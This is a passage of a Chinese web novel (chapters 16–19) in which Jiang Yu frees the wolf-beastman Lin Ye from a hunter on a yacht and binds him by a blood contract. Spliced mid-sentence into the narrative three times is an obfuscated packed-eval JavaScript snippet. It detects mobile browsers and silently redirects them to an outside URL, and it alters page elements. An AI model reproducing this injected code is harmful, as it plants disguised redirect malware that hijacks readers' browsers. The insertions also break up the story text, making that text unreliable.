房间正中间就是晚上在宴会厅看到的笼子,临野躺在里面,他还没醒,光照到脸上时他皱起眉头,大概是觉得刺眼。 姜榆在笼子旁边蹲下。 不知道徐九用了什么方法,临野的耳朵和尾巴一直在外面没有收回去,她把手机光线挪到他的尾巴上,灯打上去,照得尾巴更加毛茸茸,看着就很好摸,反正他还没醒,不如…… 姜榆伸出手,小心翼翼从缝隙探进去。 摸到了! 果然像团蓬松的棉花。 她正兀自欣喜间,一只手突然抓住她的手腕。 “是我!是我!”姜榆大声喊道。 抓她的手微微卸了点力道,但还是很痛,姜榆毫不怀疑要不是她喊得快,这只手现在就已经断了。 这人醒的太突然了。 她把手机反过来照着自己的脸:“是我,姜榆。” 半晌没听到对面回答,黑暗中姜榆看不清,她下意识就想把手机转过去,看看他是不是又晕了,结果手刚动,就听到临野说:“别动。” 声音低哑得厉害,像有沙砾滚过。 对面坐起来一个影子,面朝着她,哪怕看不清,姜榆也能感觉到有道视线正紧紧地盯着她。 她在被一只野兽盯着,随时都有可能被抓住咬死。 姜榆从他的视线中察觉到危险,黑暗中,这种感觉被无限放大。 和临野了交锋这么多次,但这一次,除了恐惧外,她还生出一种在钢丝绳上行走的刺激感。 有种说不清道不明的兴奋,姜榆忍不住心颤。 好一会儿,她才缓过来这股劲,而临野还抓着她的手沉默地盯着她。 姜榆猜测,他是因为被她看到了这副落魄的样子,觉得难堪,所以愤怒。 她斟酌着解释:“我们在一个游艇上,这里在举办派对,我是来参加派对的,意外看到了你,就过来看看情况,你……还好吗?” 抓她的手变得更烫,似乎隐隐有些颤抖,姜榆还来不及细细感受,下一刻手被松开,临野说:“……转过去。” 很好,虽然生气,他也没有拿她撒气。 姜榆听话地转过身背靠着笼子,给他留出整理情绪的空间和时间。 房间里安静下来,除了她的呼吸外,再没其他任何声音,姜榆静坐着,心里反复盘算等会要说的话。 等了一会,估摸着他缓冲得差不多了,她才轻轻开口,说出自己的真实目的: “合作吗?我可以救你。” 16. 被骗 “我可以救你出去,作为交换,你需要像上次在庄园一样保护我的人身安全,如何?”姜榆背靠在笼子边问。 “你怎么救?” 在临野心里,姜榆就是个软弱任人宰割的小白兔,要她从猎人手里把他救出来,简直是天方夜谭。 “我自然有我的方法,”姜榆把手机放到地上,一只手向背后弯,从笼子缝隙伸进去,“你答应吗?答应的话就握个手,我们正式达成合作。” 手机的光从下至上照到她脸上,本该显得人阴森恐怖,临野却只看到了她弯起的嘴角,和黑暗也盖不住的自信,他鬼使神差地握住她的手:“好。” 这个姿势实在是难受,听到肯定的回答,姜榆立刻收手,没注意到他欲伸又止的手指。 她简单讲了下自己的计划:“这个笼子我刚才看过,还是得徐九——那个抓你的猎人才能打开,明天我把他骗过来,到时候你先假装晕倒,等我喊你的时候,你再动。” “就这么简单?” “就这么简单!” 临野应承下来:“好,我会配合你。” 他冷静下来的时候还是挺好说话的,姜榆又起了再摸摸尾巴的心思:“那我现在能转过来了吗?” 临野拒绝得毫不留情:“不行。” 不仅不让摸,连看都不让看。 姜榆叹气:“好吧。” 到时候她成功建立契约,想怎么摸就怎么摸。 她把手机手电筒关掉,放松靠在笼子上:“今晚我房间里有个讨厌鬼,借你这睡一晚,晚安。” 姜家奉行独立教育,自打有记忆起,姜榆就是一个人睡觉,为数不多的与别人一起睡觉的经历都是和临野,几次下来,她完全熟悉了临野的气息。哪怕现在环境并不舒服,感受到他在身边,姜榆也有种安心感,不多时,她就沉沉睡去。 笼子里的临野慢慢挪到她身后,和她背对背靠坐,借着一点接触的部位,缓解身体里的燥意。 他闭上眼,难耐地咽了口唾液。 月圆之夜刚过去两天,对他还有影响,他明明可以忍住,偏偏姜榆来了。 临野从笼子里伸出手,搭在姜榆的手上,终于得到了一丝满足,他缓缓吐出一口气。 …… 天蒙蒙亮时,姜榆醒来,她一动,身后也立刻传来动静,手上有个毛绒触感一闪而过。 姜榆快速回头瞟了一眼,可惜房间里太昏暗什么也没看清,她和临野再次重复了遍昨晚说好的计划,才慢吞吞爬起来离开。 一直到晚饭时间,易天川才出现在大家面前,他和姜榆面对面坐着吃饭,一边嚼着龙虾肉一边说:“昨天我怎么那么困,好像一下就睡着了?” “昨天太累了吧,”姜榆漫不经心地应和,“睡得舒服就行。” 易天川放下刀叉,坐到她身边:“小鱼儿,不开心了?” 姜榆扯扯嘴角:“没有,挺开心的。” 易天川深谙女人说“没有就是有”的道理,他俯身靠近,低声说:“别生气,今天我会好好补、偿、你的。” 他呼出的气息全喷在姜榆耳朵里,她打了个激灵,难得地不知如何应对,还好这时远处有人喊易天川过去,她才得以趁这个机会离开。 经历了这一遭,她越发觉得等不了了。 姜榆在游艇上四处寻找了一圈,最后在甲板上找到了正悠闲烧烤的徐九,她冲过去:“带我去看看那个兽人。” 徐九愕然:“现在?” 回答他的是一个大力的拉扯,接着人还没回过神来,他就已经站在了关押兽人的房间前。 “……你这不是能自己找到……”他抱怨。 姜榆理所当然地反问:“我一个人来,要是遇到危险怎么办?” “也是,”徐九打开门,“就在里面,看吧。” 虽然不知道为什么这个大小姐突然发什么疯,但这种小需求,他不介意满足客户。 终于有光照进了这个房间,临野躺在地上,紧闭着眼,还是昏迷的样子。 徐九靠在墙边,啃着顺手拿过来的烤串,提醒靠近笼子的姜榆:“我给他下了药,虽然最早也要明天才能醒来,但你还是轻点,以防出什么岔子。” “知道了。” 姜榆蹲下,好奇地触碰临野的尾巴,摸了会,她发现他的耳朵在颤,于是换了个方向,摸上他的耳朵,临野颤得更加厉害。 她偷笑,昨天不让看有什么用,今天还不是被她摸到了。 但姜榆没有摸太久,她怕临野被她摸生气了,万一他突然毁约,那就得不偿失了。 她回头看了眼徐九,只见他吃完了烤串,正百无聊赖地往门外看有没有什么新鲜玩意,丝毫不在意她的动作。 于是她从衣服口袋里摸出狼牙,悄悄塞进临野的尾巴下,装作惊讶地喊:“那是什么?” “什么东西?”徐九走过来。 临野醒着,尤其是被姜榆摸完后,巨大的刺激和羞耻感让他更加清醒。 在他快要忍不住的时候,他感觉到姜榆塞了个东西进来,接着那个猎人就开始伸手够这个东西,虽然不知道是什么,但他猜出来了姜榆的用意,便用尾巴把那东西往里扫,让猎人怎么都碰不到。 果然,他听到猎人说:“我把笼子打开,进去取。” “不行,”姜榆慌张的声音传来,“万一他突然醒了怎么办?” “放心,我有办法治他。” 笼子的锁断开,男人的脚步慢慢靠近,从他身侧捡起那个东西,临野肌肉紧绷,做好冲出去的打算时,姜榆突然咳嗽了一声。 这是给他的信号,她还没喊,他就不能醒来。 临野松开拳头,选择相信她,继续装昏迷。 而徐九沉浸在找到狼牙的喜悦中,并没有注意到他微小的动作。 “这是你一直在找的那个东西吗?”姜榆好奇地看着他手心的狼牙。 “没错!”徐九满面笑容,“多亏了姜小姐。” “那刚好,现在就开始你那什么仪式吧,等你搞定了,我们马上就谈后面的事。” “这么着急吗,”徐九有些不情愿,“要不我们明天再谈?” 姜榆断然拒绝:“不行,我等不及了,今晚我就要这个兽人出现在我房间里。” 徐九撇嘴,他不认为这个大小姐买兽人回去是做什么危险的事,多半是看中他猎奇的尾巴耳朵,再加上这个兽人长得确实不错,那买回去肯定是用来寻乐的。 他忍不住摇头,看着挺清纯一个大小姐,还有未婚夫,没想到这么急色,易少居然也能接受,有钱人的圈子果然还是太复杂…… “行不行?”姜榆催促,“你现在弄,等会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841325|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就把钱打给你,双倍。” 徐九犹豫了下,还是选择为金钱折腰:“行,我现在弄。” 他不担心姜榆说的是假话,毕竟易天川身份摆在那,出点钱博美人一笑的资本还是有的。 “姜小姐要不避个嫌?” “我还能偷学不成?快点开始。”姜榆恶声恶气。 “好吧。”徐九关上门打开灯,就地坐下,开始了仪式。 只见他闭上眼睛,嘴里念念有词,和电视上的得道高人做法一样,狼牙被他放在手心端着,过了一两分钟,表面泛起金光。 姜榆暗自咂舌,深觉这个世界已经玄幻到了她看不懂的样子。 徐九忽地睁开眼,他把狼牙放到地上,用刚才吃剩下的烧烤签划破手指,鲜血流出。 姜榆敏锐地察觉到:就是现在! 她大喊:“临野!” 原本躺在笼子里的人突然暴起,瞬间冲出来。 “你、你们!”徐九惊讶,但危险当头,他还是很快反应过来,迅速闪身向左翻转,躲过了攻击。 临野追上去,两人在不大的房间里打得有来有回。 姜榆趁乱捡起地上的狼牙,跑出房间。 天色已黑,在外面玩的人都回到了室内,她一口气跑到甲板上才停下来。 她拿出握着的狼牙,那片金光已经没了,只剩淡淡的金色花纹在流动,徐九刚才念的应该就是契约语,那么这个仪式就只剩最后一个东西了:契约者的血。 姜榆掏出提前准备好的小刀,在手心划出一个口子,她怕疼,划得不大,要用力挤压才挤出一滴血,它沿着掌纹缓缓滑落,对着狼牙…… “你在干什么?!” 突然的喊声吓得姜榆一抖,那滴血也落到了地上。 她抬头,发现那两人都追了出来,正一左一右地站在她面前。 他们脸上都挂了彩,但没有人重伤,显然刚才那场打斗还没决出胜负,只是发现不对劲,先停了下来。 徐九怒吼:“你骗我!” 临野的尾巴耳朵收了起来,他没说话,但姜榆肯定他心里肯定也是这么想的,因为他的面部表情明显不对劲,眼神沉沉地盯着她,看着比以往更加凶狠。 不过他们再怎么生气都晚了。 姜榆再次用力,又挤出一滴血,这次它成功滴在了狼牙上。 她扬起笑容:“木已成舟,不好意思,我赢了。” 临野也笑了,不是开心喜悦的那种笑,是被气笑了。 他怎么会觉得她是只良善的兔子,看她现在的样子,分明就是一只偷腥成功的小狐狸。 海风呼呼地吹,姜榆一只手握着狼牙,一只手拨开被吹乱的头发,她本以为会看到对面两个人惊慌失措的模样,可在她说完那句话后场面足足沉默了一分钟,徐九没有过来抢东西,临野居然……笑了? 只是那个笑容怎么看都像是不怀好意。 不仅如此,他还缓步靠近,带着极强的压迫感。 姜榆意识到:他现在很生气,被抓到一定会很惨。 她握紧狼牙,命令他:“不许再动了!” 可是没有用,临野的行动没有任何阻塞。 这时,徐九的声音远远地传来,带着幸灾乐祸的语气:“契约可还没有完成哦。” 靠,这下是她被骗了。 17. 计划二 “过来。”临野停下脚步,站在姜榆两米远处,没有再往前走。 他的头发有点长,被风吹得盖住眼睛,看不清楚神色。太阳穴处的伤口又渗出血液,顺着侧脸留下来,他漫不经心地抬手抹掉,浑身的危险气息怎么都遮盖不住。 这种时候,傻子才会过去。 姜榆一步步后退,直到腰触到栏杆上,她把拿着狼牙的手伸出去。 这颗牙齿对临野一定也很重要,不然他之前不会一直随身带着。 “不要再靠近了,否则我就把它扔下去!”她威胁道。 白色的海水翻涌着,浪头大得人进去都会被很快淹没,要是把这颗狼牙丢进去,它瞬间就会消失。 临野闭眼轻笑,他歪了歪头,朝栏杆外扬起下巴:“扔吧。” “我真扔了?!”姜榆重复。 临野丝毫不在意:“扔。” 看他们俩来回拉扯的徐九急了:“别扔,别扔!” 姜榆也着急,徐九对她来说无所谓,他做这个行当的还能报警不成?等离开这艘游艇,他们就再也不会见面了。 她更怕的是临野,这人生起气不知道会做出什么事,那可真是警察都管不了的疯子。 姜榆喊道:“不想让我扔,你就拦住他,别让他再过来了!” 徐九没动,上次能抓到临野是他们几个人合力才做成的,今天这里就他一个人,从刚才的缠斗就能感觉出来,无论如何他也打不过这个兽人。 三人之中唯一不急的只有临野,他双手抱胸站在原地,沉声说道:“你跑不掉了,小狐狸。” 最后三个字声音低到姜榆没听清,但这并不妨碍大脑给她发出警报:危险危险危险。 这次的欺骗让他们之前还算友好的相处模式荡然无存,接下来等待她的是临野的报复。 不能被他抓到,至少现在不能。 姜榆心脏狂跳,她抓紧栏杆,稳住随船摇晃的身形。 “徐九,我倒数3秒,你再不动我就扔了,3……” “等等,有话好商量,扔了它对我们谁都不好。” 姜榆不为所动:“2、1……” 尽管知道她是在拿自己当靶子,但这会徐九别无选择,他不能眼睁睁看着自己好不容易抢来的发财机会就这么白白流失。 他一咬牙,冲上去抓住临野。 “滚开。”临野紧盯着姜榆,挥开了他。 徐九睁大眼睛:“那可是唯一能证明你身份的东西,你真不要了?” “再不松手,等会你也一起死。” 临野现在甚至不在乎这个猎人抓了自己,满心满眼都是站在船头的姜榆。 “不让我赚钱,和让我死有什么区别?”徐九嚷嚷,又上去抓住他。 两人谁都不让谁,很快再次缠斗起来。 姜榆咽了口唾沫,从边缘处偷偷摸摸挪到船舱前。 仅仅一门之隔,里面就是正在玩乐的人群,只要她进了这扇门,今晚一直呆在里面,临野就会有所顾忌,无法下手。 “喂,看这!”她举起手里的狼牙,给停下来的两人看,“去海里捡吧,拜拜!” 一道优美的抛物线划过,白色的小东西翻出栏杆,掉进大海,眨眼间消失了踪迹。 “不要!”徐九率先冲到栏杆边。 尽管嘴上说着不在意,但真看见狼牙被扔出去的那一刻,临野也有瞬间晃神。 趁他们分神之际,姜榆快速跑进船舱,混进热闹的人群。 这一招叫做——谁都别想好过。 里面气氛正嗨,年轻的男男女女在舞池里激情舞蹈,姜榆找了个角落坐下,她端起面前的果酒一饮而尽,冰凉的液体平息了她的喘气。 如果说之前是临野需要帮忙而受制于她,那么现在,猫鼠游戏的攻守方再次转换,她成了被追逐的鼠。 一直躲在这里总不是办法,到了深夜,人群散去,那就是临野出击的时候。 姜榆缓缓吐出一口气,试图理清混乱的大脑。 她将右手的东西拿出来,放在吧台上,正是本应该被扔在大海里的狼牙。 刚才她从衣服上扣下来一颗珍珠,装作狼牙丢了出去,不仅是为了引起他们的注意,也是为了让他们之后放松警惕,以为她已经放弃契约这个东西。 牙齿上的金光消失了,只剩下淡淡的金色花纹在流转,表示这场仪式还未完成。 姜榆回想徐九告诉她的方法,她不认为徐九会撒谎,人在极度困倦的时候,脱口而出的话往往是最真实的话。他说的一定是真的,只是说得不够详细,有些细节被她忽略了。 三个条件里牙齿是唯一没有歧义的,并且一定是她手里的这颗,不然徐九不会那么着急。 剩下的两个条件里,契约语她无法确定徐九是否完成,也许滴完血之后还需要再念一段什么咒语,才算完成仪式,但就算猜对了,她也无能为力。 而契约者的血,她先入为主地认为兽人提供了物品,那么血就只需要人的血,但万一这个契约者其实指的是双方呢? 要不拿到临野的血再试试,这个方法是她最后能尝试的了。 姜榆理清思路,决定再试一次。 至于时间,还是过两天等到临野冷静下来,能沟通的时候吧。 她收起狼牙妥帖地装进衣服最深处。 舞会一直进行到后半夜还没结束,游艇上的工作人员发现了空空荡荡的笼子,急忙跑来向易天川汇报。 “易少,兽人不见了。” 易天川一左一右揽着两个年轻女孩,不急不慢地喝了口酒,才问:“徐九呢?” “他……也不见了。” “兽人驯不好,跑了?”易天川挑眉,“船还在海上开着,他能跑哪去?去找。” “是!不过……”管家犹犹豫豫的。 “说。” “兽人攻击性强,现在不知道藏在游艇上哪里,随时都有可能出来伤人,要不要紧急靠岸,让大家先离开?” 游艇上游玩的人虽然家世不及易天川,但也非富即贵,并且都是家族的年轻子弟,要是在这里出事,他担不起这个责任。 易天川点头:“就按你说的办。” 管家正准备退下,又见他突然想起什么似地问:“对了,看到姜榆了吗?” “姜小姐在那边的吧台。”管家指了个方向。 “行,去通知其他人,今晚靠岸。” 管家恭敬地退下。 姜榆对跳舞不感兴趣,拿着手机搜索兽人相关的信息,毫无疑问,什么都没有,她又转而搜起狼相关的资料,虽然不知道临野保留了多少狼的习性,但多了解一些总没有坏处。 突然一个身体贴上她的后背:“小鱼儿,怎么不去找我?” 姜榆浑身一抖,引来身后人的轻笑,她迅速反应过来,把手机倒扣,嗔怪道:“你左拥右抱的,哪还需要我?” 她刚才看得清楚,易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853982|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天川和两个女孩打得火热,还庆幸他没空找她来着。 “她们怎么能和你比,”易天川抵在她的头发上,“不过没关系,今夜还长。” 这时广播响了两声,管家的声音透过喇叭传来:“各位宾客,不好意思,游艇出现了些小问题,三小时后需要靠岸进行紧急修理,很抱歉为大家带来不好的出游体验。” 姜榆没想到这么突然,万一上岸后,临野选择自由,不来找她了,那可怎么办? 他们又没有联系方式,到那时她的计划就真的完完全全失败了。 没时间等临野冷静了,最后三小时,她要搏一搏。 正在快乐的人群也被这消息砸得猝不及防,有短暂的骚动,姜榆顾不上易天川,一把推开他冲了出去。 她来到中层餐厅,找了个位置坐下,这里空无一人,只要临野还在气头上,就一定会出现。 为了浪漫,餐厅只在顶上装了电灯,桌面上放的是蜡烛,姜榆没空去找灯开关,便用桌上准备好的打火机点燃蜡烛,烛火亮起,照亮她这一小块区域。 她不知道临野来了会做什么,也不能确定自己会不会成功,理智告诉她现在的行为很危险,但狂飙的肾上腺素又催生出一阵兴奋感,这种生死一线的感觉让她又紧张又刺激。 然而姜榆等了四十分钟,擂鼓的心跳都平稳下来了,还是没等到临野,蜡烛将灭未灭,她不死心又取来隔壁桌的点燃。 这艘游艇这么大,临野躲藏技术一流,她只能被动地等他来找。 第二根蜡烛燃烧过半,空寂的餐厅仍旧没有其他动静,姜榆甚至感觉不到暗处有人。 她失败了,也许临野已经冷静下来,他知道过了这三小时,他就自由了。 姜榆失望地起身,就在她拿起手机的瞬间,一阵凉风吹过,蜡烛晃了晃,陡然熄灭。 可餐厅的窗户都好好关着,没有风能吹进来。 她打开手机手电筒,四处查看,没有发现其他人的身影。 餐厅太大,手电筒的光柱始终有限,只能照亮一小块范围,在她照到钢琴时,身后传来碎裂的声音,姜榆猛地转身。 地上有个摔成碎片的玻璃杯,她缓缓走近,蹲下捡起一片。 她感觉到了,餐厅里进来了一个人,正在暗处看着她。 “临野?”姜榆问。 没有人回答,只有她的声音在回荡。 “你出来吧,”姜榆手开始发抖,“我是来和你道歉的。” 等了一会,没有人出来,可那道视线还紧紧追随着她。 她叹了口气:“算了,既然你不愿意接受道歉,那我走……” 背后掠过一阵风,一具身体贴上来,紧紧笼住她。 熟悉的气息,果然是临野。 他的胸膛紧贴着她的后背,没有一丝空隙,灼热的体温透过衣服传进皮肤,烫得姜榆头皮发麻。 虽然已经确定,但她还是装模作样地问:“临野?” “嘘。” 话音刚落,本来抓着她肩膀的右手开始移动,沿着她的脖颈慢慢向上,停在耳畔,他撩起她的头发,滚烫的鼻息随即而至。 姜榆被刺激得颤抖,她挣扎了下,立刻换来更紧的桎梏,临野松了左手,搂住她的腰。 就在易天川刚才抵住的位置,他吸了口气,还带着潮湿的气息,全呼在她耳后。 他在干什么? 下一刻,姜榆听见他不悦的声音:“你臭了。” 18. 游戏 臭? 她这么爱干净一个人怎么可能会臭! 姜榆挣扎起来,这次临野松了力度,她成功挣脱,踉跄着扶住钢琴。琴键被撞出沉闷的嗡鸣,像一声被掐住咽喉的呜咽。 她转身,一接触到临野阴沉的眼神,刚才的怒气瞬间荡然无存。 “对不起,我跟你道歉,那个时候我不该欺骗你。”姜榆九十度鞠躬,做足样子。 她用余光瞟着临野的动作,只见他后退两步,坐到她刚才的位置上,长腿随意交叠,却带着捕食者的压迫感。 “骗都骗完了,现在道歉,是不是有点晚了?” 话语里虽然带着怒气,但还算平静,看来哪怕只过了几小时,他也冷静下来了。 姜榆直起身,坐到他旁边:“我是有苦衷的,真的!” “哦。”临野漫不经心地把玩刀叉,银光在他手指尖翻转闪烁。 他脸上的伤口已结痂,蜡烛光照进他金黄色的瞳孔里,看不出一丝情绪。 他的动作……就好像在挑趁手的武器一样。 姜榆看得心惊胆战,一把按住他的手。 “我成功把你救出来了,不是吗?”她放软声线,“而且徐九的契约也没成功……” 话还没说完,姜榆手被挥开,临野的力度太大,她后背直接撞上了餐桌。 一阵风擦过她的耳畔,刚才还在被人把玩的餐具刀猛地插在她脸旁,临野俯身:“那谢谢你?” 那把刀要是再偏移一点,就插到她脸上了。 她想错了,这个人分明还气得要死。 所有血液都冲到头顶,姜榆惊魂未定,好半晌才缓过神来。 人为刀俎,她为鱼肉,只能用以前那招了。 她忍住疼,抬头乖巧地对他笑:“不要生气了。” 临野神色不明地看了她会,突然起身,掐着她的腰把人提到餐桌上,有了桌子高度的加持,两人才堪堪平视。 他说:“你以为我还会再被你这副模样骗吗?” 两人现在距离很近,姜榆左手攥着玻璃杯碎片,因为她紧张的动作,棱角刺进掌心,她浑然不觉,眼睛紧紧追着临野。 不如就趁现在划伤他,只要能蹭到他的血…… “还在想契约?”临野冷不丁地问。 不等回答,他就变魔术般从她手心抽走玻璃片,又从她身上摸出狼牙摆在桌子上。 姜榆的血液瞬间被冻住。 “你怎么……” “你忘了,我一直在看着你吗?”临野摩挲那颗狼牙,“从你进入船舱起,我就在你身后,看着你拿出它想办法,看着你走进这里,看着你在这等待。你可真是没耐心,才等了多久就要离开。” “姜榆,”这是他第一次喊她名字,“想要驯服一头恶狼,没这么简单。” “看到这个花纹了吗?”狼牙上流转的金色花纹更暗了些,临野说,“当这个花纹消失,猎人的契约语就完全失效。现在整个仪式只差我的血了,这是你唯一可以和我建立契约的机会。” 烛芯突然爆出个火星,倒映在他瞳孔里,亮了一瞬,姜榆喉咙发紧,等待他接下来的话。 “就当是报答你救我出来,只要你能找到我,我就给你这个机会。” 窗户被海风撞开,烛火剧烈摇晃,将临野的身影投在墙壁上,扭曲成真正的狼形。 黑暗吞噬视野前,姜榆听见他的低语:“给你两小时。” 她愣了一秒,迅速伸手抓他,然而只抓到了一团空气。 临野消失了。 两个小时,在这么大一艘游艇上找一个神出鬼没的人,这和直接宣判她失败没有区别。 但……这是个可遇不可求的好机会。 临野已经明确告诉她,只剩最后一个条件——他的血,听起来似乎没有那么难。 她想再试一次,最后一次。 姜榆拿起桌子上的狼牙,风一般地跑出去,在游艇各个地方寻找起来。 因为管家突然的通知,游艇上的所有人都无心再玩乐,回了自己房间,那么客房基本都可以排除。 接着她去了顶层露台、甲板、驾驶室、甚至是货仓,但都没有发现临野的踪迹。 货仓门在身后重重闭合,姜榆累得蹲在地上,头发散乱地粘在颈间。 这时,不远处几个保镖路过,她迅速躲好。 “找到了吗?”一个人问。 “没有,别说人了,连根毛都找不到。” “兽人哪有那么容易被我们逮住,随便找找吧,等会就下船了。” 难怪突然要靠岸,原来临野已经被人发现了。 姜榆叹气,他们这么多人都找不到,更别说她孤零零一人了。 时间仅剩最后的十五分钟,狼牙上的金色花纹淡得快看不清,她心里基本已经放弃了这次机会。 虽然这次行动失败了,但她还要继续生活。姜榆往自己的房间走,准备回去收拾东西并整理整理,免得等会下船时被易天川看出什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853983|175330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>路上一对相拥的男女从她身边经过,男的亲了亲女生额头,和她调情:“宝贝,你好香。” 女生害羞地轻推他:“讨厌~” 姜榆突然福至心灵:气味。 这艘游艇上除了其他宾客的房间,还有一个地方她没找过——她的房间。 无论是溜进她的房间,还是在餐厅里确认她身上的味道,毋庸置疑,都是因为临野喜欢她的气味,也很在意她的气味。 虽然她本人“臭了”,但她的房间里可都还是她的气味。 临野会因此去她的房间吗? 姜榆加快脚步回去,真到了时,她又有些紧张,万一猜错了…… 算了,她一鼓作气地按下门把手。 “咔嚓”一声,门打开。 姜榆期待地看进去,但很快她眼里的光就黯淡下来,她猜错了。 房间里空空荡荡,一片黑暗,没有任何人的踪影。 失败就失败吧,没了临野,只不过是和以前一样,没什么大不了的,她安慰自己。 姜榆走进去躺在床上,一转头,闻到了枕头上易天川留下的味道,现在她理解临野为什么说她臭了,她的床也臭了。 距离下船还有十分钟,她坐起来,打开衣柜,收拾自己的行李。 她没带几件衣服,所以记得每一件的样子,但翻来翻去,怎么看都少了一件昨晚穿的衣服。 哦对,今天她回来换衣服,把它放进卫生间了。 姜榆进了卫生间,刚踏进去几步,门就在她背后悄然关上,她置若罔闻。 她瞟了眼衣架,嘀咕:“奇怪,我中午换下的衣服呢?” 没找到衣服,她干脆收拾起化妆品,等收好后,一抬头,镜面里映照出她身后的场景,那件消失的衣服正挂在门背后。 “原来在这啊。”姜榆面露欣喜,她拿好化妆包和衣服,打开门出去。 她离开后,临野掀开防水帘,从浴缸里站起身。 这个游艇上到处都是肮脏的气息,他忍无可忍地逃进姜榆的房间,结果她的床上也是那个男人的味道,他只能进了卫生间,一待就待到了现在。 卫生间没有窗户,要想离开只能从门走,他必须等姜榆离开才能出去。 虽然这个游戏对他而言没有任何意义,不过没关系,还有最后五分钟,他已经赢了,临野勾起嘴角。 这时,卫生间的门猛地被打开,姜榆像个炮仗一样窜进来抱住他。 “抓住你了!”她笑的狡黠。 19. 契约 临野藏得很好,但他低估了姜榆的敏锐。 几乎是一进卫生间,她就察觉到这里有人,并通过气味认出了他。 不仅是他熟悉姜榆的气味,姜榆也很熟悉他的气味。 姜榆抱住他,沉浸在自己的喜悦里:“按照规则,你该和我建立契约了。” “你想好了?”临野的声音在头顶响起,“一旦完成,我们的命从此就关联在一起,我死,你也会死。” “我相信你没那么容易死,”姜榆松开他,眼里闪着兴奋的光,“快开始吧。” “开始什么?” “你在餐厅答应我的,只要我找到你……”姜榆声音越来越小。 不对,这会她才发现临野的话里有漏洞,他只说给她这个机会,可没说找到他之后就给办。 短短一天,她居然被同样似是而非的话骗了两次! “你!”姜榆怒视他。 还剩最后一个条件——临野的血。 可是要从他身上取到血谈何容易,他根本就是在耍她玩。 临野伸开双臂,对她说:“来吧,看看你有没有这个资格。” 他笑得张狂,好像成功报复她是件什么了不起的事似的。 姜榆一咬牙,扑过去,他闪身躲开,扑了个空。 她转身,冲着目标再冲过去,又空了。 再扑,再空。 继续扑,继续空。 卫生间的门大开着,无人阻拦,临野这会又不急着离开了,四处闪躲逗弄起她。 广播声响起,管家说:“船已经靠岸,请大家按序离开。” 临野短暂分神,趁这个瞬间,姜榆猛地撞进他怀里,花洒开关在临野身后被撞得旋开,冰凉的水顿时倾泻而下,将两人笼罩。 姜榆发狠地缠住临野,水顺着她的头发滑进衣服。 而临野后背抵上冰凉的瓷砖,水帘在他面前形成一道透明的屏障,让他看不清姜榆的表情:“你——” 姜榆突然伸出左手,袭向他的手臂,结果还没碰到就被钳制住,她立刻伸出右手,又被他另一只手钳制住。 两只手都被反剪至身后,她被迫向前倾身,穿过水帘,贴到临野的胸膛上。 姜榆抬头看向他,明明背着光,但就是从他眼里看出了“你还能怎么办”的挑衅。 水变得温热,不断冲刷两人紧贴的身体,朦胧的水雾四起,姜榆心一横,踮起脚,沾着水珠的唇精准贴上他的。 她感觉到临野的呼吸骤然停止,钳制住她的力道松懈。 到她出手的时候了! 姜榆趁机挣脱,湿漉漉的手臂环上他的脖颈,她用力地把临野拉向自己,狠狠咬破他的下唇。 铁锈味在嘴里蔓延的同时,她摸出兜里的狼牙,微微后退,将它贴在临野渗血的伤口上。 几乎是瞬间,狼牙上的流光完全消失,那一刻,姜榆感觉到有一根看不见的细线在空气中颤动,牵连上她和临野。 “我赢了!”姜榆喘息着宣告。 她举起手里的狼牙给临野看,却见他的目光正落在她的衣襟上,瞳孔变成了危险的细线,他喉结上下滚动,耳尖红得像是要滴血。 姜榆低头一看,才发现单薄的衣服已紧贴在身上,她扯过旁边的毛巾裹住自己:“咳,你先呆在这里,我去换件衣服。” 她随便找了件衣服换上,卫生间里一直没有其他的动静,临野也没有出来,她想是不是刚才那句命令生效了。 “我换好了,出来吧。” 卫生间的门缓缓打开,花洒还没关,临野的身影出现在蒸腾的水汽中,他额前的碎发还在滴水,水珠顺着额头、鼻子滚到嘴上消失不见,下唇的伤口格外醒目。 “你帮我拿一下……” 话音未落,房间的门被猛地拉开,方才还站在她面前的男人不见了踪影,只剩地板上一滩未干的水迹,证明他确实出来过。 害羞了? 姜榆没太在意,继续收拾起行李,反正契约已经建立,她不怕找不到他。 直到站在陆地上,她还有些不真实感,从知道有兽人存在到和临野建立契约,才过去不到一周,一切都好像做梦一样。 姜榆最后一个下船,易天川已经在港口等待多时。 “你再不出现,我就要上去找你了。”他说。 但看他懒散地坐在车里,就不像是会回去找她的样子。 不过完成一件大事,姜榆心情十分美好,便顺着他说:“还是你对我最好。” 易天川被哄得笑起来,他从车窗里伸出手,抚摸她的脸颊:“可惜了,要不是有急事,我真不想把你送走。” “不过没关系,过几天我们就又能见面了。” 